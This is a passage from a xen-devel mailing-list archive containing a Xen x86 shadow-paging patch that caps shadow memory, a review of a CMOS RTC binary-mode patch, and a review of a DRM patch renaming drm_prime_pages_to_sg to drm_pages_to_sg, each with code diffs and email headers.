 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJld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encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1785248688-F72B32A1-A6C2A9CF/0/0
X-purgate-type: clean
X-purgate-size: 8663

In order to bound the amount of work a single invocation of
shadow_unhook_mappings() may be doing all in one go, constrain the
number of pages which may be in use as shadows. To achieve that, simply
adjust the "success" exit condition of _shadow_prealloc(), thus forcing
removal of shadows not only when we're short of memory.

Note that, depending on workload, this may have a severe effect on
performance, due to the potentially much larger rate of thrashed
shadows.

In the context of "x86/shadow: account for log-dirty mode when pre-
allocating" it is relevant to note that we will be too strict in
sh_prealloc_okay() when log-dirty mode is enabled: Only part of the
pages considered are actually to become shadows. But I think accepting
this is better than further complicating the logic.

Requested-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Tim Deegan <tim@xen.org>
---
What exactly we want the upper bound to be is up for discussion. This
may need to go together with an upper limit on the number of vCPU-s we
deem supportable in a (shadow) guest.

Really 32-bit HVM guests have 3 monitor tables. But I think that not
accounting for that in sh_prealloc_okay() is acceptable. How to
correctly do such accounting there would be unclear anyway, as we mean
to only take domain properties into account, whereas mode dependent
properties are per-vCPU.

Backporting note: The placement of the setting of the new per-domain
                  field relies on d->max_vcpus being set right at domain
                  creation. Hence this will need to move elsewhere for
                  4.11 and older (perhaps into shadow_set_allocation()'s
                  "if ( pages > 0 )" block, conditional upon the value
                  still being zero and max_vcpus already set).

Backporting note: 1d3668664df7 ("x86/shadow: restrict OOS allocation to
                  when it's really needed") is a necessary prereq for
                  the respective part of sh_prealloc_okay().
---
v14: Re-base over XSA-427 and new earlier patches. Restrict allowance
     for monitor tables to HVM. Restrict allowance for OOS to when
     that's actually in use.
v13: Prevent underflow in sh_prealloc_okay(). Re-base.
v12: Re-base past the XSA-410 series.
v11: Account for monitor tables and OOS snapshots in sh_prealloc_okay().
     Calculate the (default) maximum value once during domain
     initialization, into a new per-domain field.
v10: Extend commit message.
v9: New.

--- a/xen/arch/x86/include/asm/domain.h
+++ b/xen/arch/x86/include/asm/domain.h
@@ -108,6 +108,9 @@ void init_hypercall_page(struct domain *
 struct shadow_domain {
 #ifdef CONFIG_SHADOW_PAGING
     unsigned int      opt_flags;    /* runtime tunable optimizations on/off */
+
+    unsigned int      max_pages;    /* limit on the number of shadows in use */
+
     struct page_list_head pinned_shadows;
 
     /* 1-to-1 map for use when HVM vcpus have paging disabled */
--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -96,6 +96,32 @@ int shadow_domain_init(struct domain *d)
     d->arch.paging.flush_tlb = shadow_flush_tlb;
 #endif
 
+    /*
+     * Figure out the default for the highest acceptable quantity of shadow
+     * memory. This is because we need to bound the amount of work potentially
+     * in need of doing by a single shadow_unhook_mappings() invocation.
+     */
+    d->arch.paging.shadow.max_pages = 2048;
+    if ( d->max_vcpus > 8 )
+    {
+        /*
+         * This is
+         *
+         *             128 * (max_vcpus + 8)
+         * max_vcpus * ---------------------
+         *                   max_vcpus
+         *
+         * suitably resolved, with the right side of the multiplication
+         * (when expressed as f(x)) satisfying
+         *   f(8) = 256
+         *   lim f(x) = 128
+         *   x->âˆž
+         * i.e. continuous with the simpler case above and converging to
+         * shadow_min_acceptable_pages() for large values.
+         */
+        d->arch.paging.shadow.max_pages = 128 * (d->max_vcpus + 8);
+    }
+
     return 0;
 }
 
@@ -372,7 +398,7 @@ static inline void trace_shadow_prealloc
 }
 
 static bool sh_blow_tables(struct domain *d, unsigned int goal,
-                           bool *preempted);
+                           unsigned int type, bool *preempted);
 
 /* Make sure there are at least count pages of the order according to
  * type available in the shadow page pool.
@@ -396,7 +422,7 @@ bool shadow_prealloc(struct domain *d, u
          ((SHF_L1_ANY | SHF_FL1_ANY) & (1u << type)) )
         count += paging_logdirty_levels();
 
-    ret = sh_blow_tables(d, count, NULL);
+    ret = sh_blow_tables(d, count, type, NULL);
     if ( !ret && (!d->is_shutting_down || d->shutdown_code != SHUTDOWN_crash) )
         /*
          * Failing to allocate memory required for shadow usage can only result in
@@ -408,6 +434,31 @@ bool shadow_prealloc(struct domain *d, u
 }
 
 /*
+ * Check that
+ * - there are enough free pages,
+ * - there aren't too many pages in use as shadows already when about to make
+ *   a (set of) new shadow page(s).
+ */
+static bool sh_prealloc_okay(const struct domain *d, unsigned int goal,
+                             unsigned int type)
+{
+    if ( d->arch.paging.free_pages < goal )
+        return false;
+
+    if ( type < SH_type_min_shadow || type > SH_type_max_shadow )
+        return true;
+
+    return d->arch.paging.total_pages -
+           (d->arch.paging.free_pages - goal) <=
+           d->arch.paging.shadow.max_pages +
+#if (SHADOW_OPTIMIZATIONS & SHOPT_OUT_OF_SYNC)
+           (d->options & XEN_DOMCTL_CDF_oos_off ? 0 : SHADOW_OOS_PAGES) +
+#endif
+           /* Allow for one monitor table per HVM vCPU. */
+           paging_mode_external(d) * d->max_vcpus;
+}
+
+/*
  * When @goal is zero: Deliberately free all the memory we can: This will
  * tear down all of this domain's shadows.
  *
@@ -415,7 +466,7 @@ bool shadow_prealloc(struct domain *d, u
  * available in the shadow page pool.
  */
 static bool sh_blow_tables(struct domain *d, unsigned int goal,
-                           bool *preempted)
+                           unsigned int type, bool *preempted)
 {
     struct page_info *sp, *t;
     struct vcpu *v;
@@ -423,7 +474,7 @@ static bool sh_blow_tables(struct domain
     int i;
     unsigned int done = 0;
 
-    if ( goal && d->arch.paging.free_pages >= goal )
+    if ( goal && sh_prealloc_okay(d, goal, type) )
         return true;
 
     /*
@@ -465,7 +516,7 @@ static bool sh_blow_tables(struct domain
             while ( hash_foreach(d, masks[i], callbacks, _mfn(0)) )
             {
                 /* See if that freed up enough space */
-                if ( goal && d->arch.paging.free_pages >= goal )
+                if ( goal && sh_prealloc_okay(d, goal, type) )
                     return true;
 
                 if ( general_preempt_check() )
@@ -491,7 +542,7 @@ static bool sh_blow_tables(struct domain
         sh_unpin(d, smfn);
 
         /* See if that freed up enough space */
-        if ( goal && d->arch.paging.free_pages >= goal )
+        if ( goal && sh_prealloc_okay(d, goal, type) )
             return true;
 
         if ( preempted && !(++done & 0xff) && general_preempt_check() )
@@ -519,7 +570,7 @@ static bool sh_blow_tables(struct domain
                     0);
 
                 /* See if that freed up enough space */
-                if ( goal && d->arch.paging.free_pages >= goal )
+                if ( goal && sh_prealloc_okay(d, goal, type) )
                 {
                     guest_flush_tlb_mask(d, d->dirty_cpumask);
                     return true;
@@ -569,7 +620,7 @@ static bool sh_blow_tables(struct domain
  * this domain's shadows */
 void shadow_blow_tables(struct domain *d, bool *preempted)
 {
-    sh_blow_tables(d, 0, preempted);
+    sh_blow_tables(d, 0, SH_type_none, preempted);
 }
 
 void shadow_blow_tables_per_domain(struct domain *d)
@@ -904,7 +955,7 @@ int shadow_set_allocation(struct domain
         else if ( d->arch.paging.total_pages > pages )
         {
             /* Need to return memory to domheap */
-            if ( !sh_blow_tables(d, 1, preempted) )
+            if ( !sh_blow_tables(d, 1, SH_type_none, preempted) )
                 return preempted && *preempted ? 0 : -ENOMEM;
 
             sp = page_list_remove_head(&d->arch.paging.freelist);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:25:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:25:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374434.1621594 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woikf-0006DR-4d; Tue, 28 Jul 2026 14:25:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374434.1621594; Tue, 28 Jul 2026 14:25:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woikf-0006DK-1b; Tue, 28 Jul 2026 14:25:49 +0000
Received: by outflank-mailman (input) for mailman id 1374434;
 Tue, 28 Jul 2026 14:25:48 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1woike-0006DC-7j
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:25:48 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1woike-00DSgD-0k;
 Tue, 28 Jul 2026 14:25:47 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1woikd-005xAq-26;
 Tue, 28 Jul 2026 14:25:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Tue, 28 Jul 2026 16:25:33 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v2 1/4] x86/time: CMOS RTC may run in binary mode
Message-ID: <ami73Z1LlnWwcDy5@macbook.local>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
 <5945d8f4-aece-4572-8e89-60408dd7ac32@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <5945d8f4-aece-4572-8e89-60408dd7ac32@suse.com>

On Thu, Jul 02, 2026 at 11:29:11AM +0200, Jan Beulich wrote:
> Indicating it would always use BCD mode is just wrong (and then the
> comment there said the opposite). All halfway recent (and really all 64-
> bit capable) systems having a CMOS RTC should properly indicate the mode
> in control register B.
> 
> Make use of the flag, but provide a fallback mechanism in case people run
> into systems not matching the above assumption. Additionally, when binary
> mode is indicated and when "cmos-rtc-probe" is in use (but "cmos-rtc-bcd"
> isn't), probe whether the clock really runs in binary mode. (This probing,
> sadly, can take up to 10 seconds.)
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> v2: New.
> 
> --- a/docs/misc/xen-command-line.pandoc
> +++ b/docs/misc/xen-command-line.pandoc
> @@ -339,6 +339,14 @@ parameter to "stable:socket".
>  Specify the event count threshold for raising Corrected Machine Check
>  Interrupts.  Specifying zero disables CMCI handling.
>  
> +### cmos-rtc-bcd (x86)
> +> `= <boolean>`
> +
> +> Default: `false`
> +
> +Flag to indicate the CMOS Real Time Clock uses BCD mode irrespective of
> +control register B indicating binary mode.
> +

Likely too late for it now, but I get the feeling we should have
introduced a cmos option, with rtc-bcd and rtc-probe as boolean sub
options:

cmos = [ rtc-probe, rtc-bcd ]

>  ### cmos-rtc-probe (x86)
>  > `= <boolean>`
>  
> --- a/xen/arch/x86/include/asm/mc146818rtc.h
> +++ b/xen/arch/x86/include/asm/mc146818rtc.h
> @@ -96,7 +96,6 @@ bool is_cmos_port(unsigned int port, uns
>  
>  #ifndef RTC_PORT
>  #define RTC_PORT(x)	(0x70 + (x))
> -#define RTC_ALWAYS_BCD	1	/* RTC operates in binary mode */
>  #endif
>  
>  /*
> --- a/xen/arch/x86/time.c
> +++ b/xen/arch/x86/time.c
> @@ -1250,6 +1250,9 @@ mktime (unsigned int year, unsigned int
>          )*60 + sec; /* finally seconds */
>  }
>  
> +static bool __ro_after_init opt_cmos_rtc_bcd;
> +boolean_param("cmos-rtc-bcd", opt_cmos_rtc_bcd);
> +
>  struct rtc_time {
>      unsigned int year, mon, day, hour, min, sec;
>  };
> @@ -1285,7 +1288,7 @@ static bool __get_cmos_time(struct rtc_t
>      if ( acpi_gbl_FADT.century && acpi_gbl_FADT.century < 0x80 )
>          century = CMOS_READ(acpi_gbl_FADT.century);
>  
> -    bcd = RTC_ALWAYS_BCD || !(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY);
> +    bcd = opt_cmos_rtc_bcd || !(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY);
>  
>      spin_unlock_irqrestore(&rtc_lock, flags);
>  
> @@ -1353,6 +1356,48 @@ static bool __init cmos_rtc_probe(void)
>      return false;
>  }
>  
> +static inline bool __init attr_const is_bcd(unsigned int x)
> +{
> +    return (x & 0xf) < 10 && (x >> 4) < 10;
> +}
> +
> +static void __init cmos_rtc_probe_bcd(void)
> +{
> +    bool bcd;
> +    unsigned long flags;
> +
> +    if ( opt_cmos_rtc_bcd )
> +        return;
> +
> +    spin_lock_irqsave(&rtc_lock, flags);
> +    bcd = !(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY);
> +    spin_unlock_irqrestore(&rtc_lock, flags);
> +
> +    if ( bcd )
> +        return;
> +
> +    for ( unsigned int seclo = 0; ; )
> +    {
> +        struct rtc_time rtc;
> +
> +        if ( !__get_cmos_time(&rtc) ||
> +             !is_bcd(rtc.sec) ||
> +             !is_bcd(rtc.min) ||
> +             !is_bcd(rtc.hour) ||
> +             !is_bcd(rtc.day) ||
> +             !is_bcd(rtc.mon) )
> +            return;
> +
> +        if ( seclo > (rtc.sec & 0xf) )
> +            break;
> +
> +        seclo = rtc.sec & 0xf;

Is there a risk of this loop triggering the watchdog, and hence we
should process softirqs in the loop? (or otherwise have some kind of
hard loop stop after certain iterations / time)

Oh, I now see the mention in the commit message and also note this is
done ahead of SMP and also ahead of the watchdog being enabled, hence
it can't trigger the watchdog.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:35:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:35:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374474.1621614 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woitw-0000rK-6j; Tue, 28 Jul 2026 14:35:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374474.1621614; Tue, 28 Jul 2026 14:35:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woitw-0000rD-3w; Tue, 28 Jul 2026 14:35:24 +0000
Received: by outflank-mailman (input) for mailman id 1374474;
 Tue, 28 Jul 2026 14:35:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <liviu.dudau@arm.com>) id 1woitt-0000r5-Pf
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:35:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woits-004p4X-LH
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:35:20 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <liviu.dudau@arm.com>)
 id 6a68be21-5cb7-0a2a0a5109dd-0a2a4504b612-22
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:35:20 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <liviu.dudau@arm.com>)
 id 6a68be26-b57f-0a2a45040019-d98c6eac920e-1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:35:18 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id D070E1E8D
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:35:13 -0700 (PDT)
Received: from [10.2.11.34] (usa-sjc-imap-foss1.foss.arm.com [10.121.207.14])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id
 8F98B3F66F
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:35:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785249317; bh=Inv7KrlemkdgK5E3nHXTAHNRQzVGjk/0dJV4TgUWtLg=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=K7toJuA5tDJtTq3gLjkT8hOIh2Got1ZB1d0RPNuWqRMToXyoeZ3IMDlIjaWwjlfUr
	 6D0UdRMv1ue1EogFDVCKhYF32ribBV2dW7oRo/foe/s/mbLaY0Uyk+vhihZ8eWe/e8
	 B7KSdejl97vMf+cVh9ty+wjMNgtk4geUi2cNZYw8=
Date: Tue, 28 Jul 2026 15:34:00 +0100
From: Liviu Dudau <liviu.dudau@arm.com>
To: =?utf-8?Q?Adri=C3=A1n?= Larumbe <adrian.larumbe@collabora.com>
Cc: Alex Deucher <alexander.deucher@amd.com>,
	Christian =?utf-8?B?S8O2bmln?= <christian.koenig@amd.com>,
	David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
	Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
	Maxime Ripard <mripard@kernel.org>,
	Thomas Zimmermann <tzimmermann@suse.de>,
	Lucas Stach <l.stach@pengutronix.de>,
	Russell King <linux+etnaviv@armlinux.org.uk>,
	Christian Gmeiner <christian.gmeiner@gmail.com>,
	Jianmin Lv <lvjianmin@loongson.cn>,
	Qianhai Wu <wuqianhai@loongson.cn>,
	Huacai Chen <chenhuacai@kernel.org>, Mingcong Bai <jeffbai@aosc.io>,
	Xi Ruoyao <xry111@xry111.site>,
	Icenowy Zheng <zhengxingda@iscas.ac.cn>,
	Rob Clark <robin.clark@oss.qualcomm.com>,
	Dmitry Baryshkov <lumag@kernel.org>,
	Abhinav Kumar <abhinav.kumar@linux.dev>,
	Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>,
	Marijn Suijten <marijn.suijten@somainline.org>,
	Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
	Boris Brezillon <boris.brezillon@collabora.com>,
	Steven Price <steven.price@arm.com>,
	Sandy Huang <hjc@rock-chips.com>,
	Heiko =?utf-8?Q?St=C3=BCbner?= <heiko@sntech.de>,
	Andy Yan <andy.yan@rock-chips.com>,
	Thierry Reding <thierry.reding@kernel.org>,
	Mikko Perttunen <mperttunen@nvidia.com>,
	Jonathan Hunter <jonathanh@nvidia.com>,
	Zack Rusin <zack.rusin@broadcom.com>,
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>,
	Matthew Brost <matthew.brost@intel.com>,
	Thomas =?utf-8?Q?Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
	Sumit Semwal <sumit.semwal@linaro.org>,
	amd-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
	linux-kernel@vger.kernel.org, etnaviv@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org, linux-tegra@vger.kernel.org,
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
	linux-media@vger.kernel.org, linaro-mm-sig@lists.linaro.org
Subject: Re: [PATCH] drm/gem: Move pages_to_sg helper into drm_gem.c
Message-ID: <ami92JFN-yU_22xX@e142607>
References: <20260724-get_pages-v1-1-b10e5d65628e@collabora.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260724-get_pages-v1-1-b10e5d65628e@collabora.com>
X-purgate-ID: tlsNG-ebf023/1785249319-C38C1B50-7ECA81E3/0/0
X-purgate-type: clean
X-purgate-size: 18825

On Fri, Jul 24, 2026 at 01:08:58PM +0100, AdriÃ¡n Larumbe wrote:
> None of the semantics of the function tell of it being a PRIME-exclusive
> entry point. In fact, most drivers seem to be using it to translate a list
> of pages into an sg table that can be used for GPU mapping later on, rather
> than just for sharing an object's pages with another driver.
> 
> Move it across files and rename accordingly.
> 
> Signed-off-by: AdriÃ¡n Larumbe <adrian.larumbe@collabora.com>
> ---
> drm_prime_pages_to_sg() has no real dependency on PRIME/dma-buf interfaces.
> It is a generic helper that converts a page array into a scatter/gather
> table via dma_map_sg_attrs. Nothing in its implementation touches struct
> dma_buf or import/export logic.
> ---
>  drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c |  6 ++---
>  drivers/gpu/drm/drm_gem.c                   | 35 ++++++++++++++++++++++++++
>  drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
>  drivers/gpu/drm/drm_prime.c                 | 38 -----------------------------
>  drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  3 +--
>  drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c |  3 ++-
>  drivers/gpu/drm/loongson/lsdc_gem.c         |  3 +--
>  drivers/gpu/drm/msm/msm_gem.c               |  2 +-
>  drivers/gpu/drm/msm/msm_gem_prime.c         |  2 +-
>  drivers/gpu/drm/nouveau/nouveau_prime.c     |  4 +--
>  drivers/gpu/drm/panthor/panthor_gem.c       |  6 ++---

For Panthor and the general rename:

Reviewed-by: Liviu Dudau <liviu.dudau@arm.com>

Best regards,
Liviu

>  drivers/gpu/drm/radeon/radeon_prime.c       |  5 ++--
>  drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  6 ++---
>  drivers/gpu/drm/tegra/gem.c                 |  4 +--
>  drivers/gpu/drm/vmwgfx/vmwgfx_gem.c         |  4 +--
>  drivers/gpu/drm/xe/xe_dma_buf.c             |  6 ++---
>  drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
>  include/drm/drm_gem.h                       |  5 +++-
>  include/drm/drm_prime.h                     |  2 --
>  19 files changed, 68 insertions(+), 70 deletions(-)
> 
> diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
> index b33c300e26e2..c9a98aec7eb6 100644
> --- a/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
> +++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_dma_buf.c
> @@ -203,9 +203,9 @@ static struct sg_table *amdgpu_dma_buf_map(struct dma_buf_attachment *attach,
>  
>  	switch (bo->tbo.resource->mem_type) {
>  	case TTM_PL_TT:
> -		sgt = drm_prime_pages_to_sg(obj->dev,
> -					    bo->tbo.ttm->pages,
> -					    bo->tbo.ttm->num_pages);
> +		sgt = drm_pages_to_sg(obj->dev,
> +				      bo->tbo.ttm->pages,
> +				      bo->tbo.ttm->num_pages);
>  		if (IS_ERR(sgt))
>  			return sgt;
>  
> diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c
> index 018df97d590d..22c8a3b5f667 100644
> --- a/drivers/gpu/drm/drm_gem.c
> +++ b/drivers/gpu/drm/drm_gem.c
> @@ -780,6 +780,41 @@ void drm_gem_put_pages(struct drm_gem_object *obj, struct page **pages,
>  }
>  EXPORT_SYMBOL(drm_gem_put_pages);
>  
> +/**
> + * drm_pages_to_sg - converts a page array into an sg list
> + * @dev: DRM device
> + * @pages: pointer to the array of page pointers to convert
> + * @nr_pages: length of the page vector
> + *
> + * This helper creates an sg table object from a set of pages.
> + * This is useful for implementing &drm_gem_object_funcs.get_sg_table.
> + */
> +struct sg_table *drm_pages_to_sg(struct drm_device *dev,
> +				 struct page **pages, unsigned int nr_pages)
> +{
> +	struct sg_table *sg;
> +	size_t max_segment = 0;
> +	int err;
> +
> +	sg = kmalloc_obj(struct sg_table);
> +	if (!sg)
> +		return ERR_PTR(-ENOMEM);
> +
> +	if (dev)
> +		max_segment = dma_max_mapping_size(drm_dev_dma_dev(dev));
> +	if (max_segment == 0)
> +		max_segment = UINT_MAX;
> +	err = sg_alloc_table_from_pages_segment(sg, pages, nr_pages, 0,
> +						(unsigned long)nr_pages << PAGE_SHIFT,
> +						max_segment, GFP_KERNEL);
> +	if (err) {
> +		kfree(sg);
> +		sg = ERR_PTR(err);
> +	}
> +	return sg;
> +}
> +EXPORT_SYMBOL(drm_pages_to_sg);
> +
>  static int objects_lookup(struct drm_file *filp, u32 *handle, int count,
>  			  struct drm_gem_object **objs)
>  {
> diff --git a/drivers/gpu/drm/drm_gem_shmem_helper.c b/drivers/gpu/drm/drm_gem_shmem_helper.c
> index 22ec52e2ffb8..144d088a477f 100644
> --- a/drivers/gpu/drm/drm_gem_shmem_helper.c
> +++ b/drivers/gpu/drm/drm_gem_shmem_helper.c
> @@ -825,7 +825,7 @@ struct sg_table *drm_gem_shmem_get_sg_table(struct drm_gem_shmem_object *shmem)
>  
>  	drm_WARN_ON(obj->dev, drm_gem_is_imported(obj));
>  
> -	return drm_prime_pages_to_sg(obj->dev, shmem->pages, obj->size >> PAGE_SHIFT);
> +	return drm_pages_to_sg(obj->dev, shmem->pages, obj->size >> PAGE_SHIFT);
>  }
>  EXPORT_SYMBOL_GPL(drm_gem_shmem_get_sg_table);
>  
> diff --git a/drivers/gpu/drm/drm_prime.c b/drivers/gpu/drm/drm_prime.c
> index 9b44c78cd77f..54539a8929c1 100644
> --- a/drivers/gpu/drm/drm_prime.c
> +++ b/drivers/gpu/drm/drm_prime.c
> @@ -835,44 +835,6 @@ static const struct dma_buf_ops drm_gem_prime_dmabuf_ops =  {
>  	.vunmap = drm_gem_dmabuf_vunmap,
>  };
>  
> -/**
> - * drm_prime_pages_to_sg - converts a page array into an sg list
> - * @dev: DRM device
> - * @pages: pointer to the array of page pointers to convert
> - * @nr_pages: length of the page vector
> - *
> - * This helper creates an sg table object from a set of pages
> - * the driver is responsible for mapping the pages into the
> - * importers address space for use with dma_buf itself.
> - *
> - * This is useful for implementing &drm_gem_object_funcs.get_sg_table.
> - */
> -struct sg_table *drm_prime_pages_to_sg(struct drm_device *dev,
> -				       struct page **pages, unsigned int nr_pages)
> -{
> -	struct sg_table *sg;
> -	size_t max_segment = 0;
> -	int err;
> -
> -	sg = kmalloc_obj(struct sg_table);
> -	if (!sg)
> -		return ERR_PTR(-ENOMEM);
> -
> -	if (dev)
> -		max_segment = dma_max_mapping_size(drm_dev_dma_dev(dev));
> -	if (max_segment == 0)
> -		max_segment = UINT_MAX;
> -	err = sg_alloc_table_from_pages_segment(sg, pages, nr_pages, 0,
> -						(unsigned long)nr_pages << PAGE_SHIFT,
> -						max_segment, GFP_KERNEL);
> -	if (err) {
> -		kfree(sg);
> -		sg = ERR_PTR(err);
> -	}
> -	return sg;
> -}
> -EXPORT_SYMBOL(drm_prime_pages_to_sg);
> -
>  /**
>   * drm_prime_get_contiguous_size - returns the contiguous size of the buffer
>   * @sgt: sg_table describing the buffer to check
> diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem.c b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
> index b0436a1e103f..a8e8614f8210 100644
> --- a/drivers/gpu/drm/etnaviv/etnaviv_gem.c
> +++ b/drivers/gpu/drm/etnaviv/etnaviv_gem.c
> @@ -3,7 +3,6 @@
>   * Copyright (C) 2015-2018 Etnaviv Project
>   */
>  
> -#include <drm/drm_prime.h>
>  #include <drm/drm_print.h>
>  #include <linux/dma-mapping.h>
>  #include <linux/shmem_fs.h>
> @@ -104,7 +103,7 @@ struct page **etnaviv_gem_get_pages(struct etnaviv_gem_object *etnaviv_obj)
>  		unsigned int npages = etnaviv_obj->base.size >> PAGE_SHIFT;
>  		struct sg_table *sgt;
>  
> -		sgt = drm_prime_pages_to_sg(dev, etnaviv_obj->pages, npages);
> +		sgt = drm_pages_to_sg(dev, etnaviv_obj->pages, npages);
>  		if (IS_ERR(sgt)) {
>  			dev_err(dev->dev, "failed to allocate sgt: %ld\n",
>  				PTR_ERR(sgt));
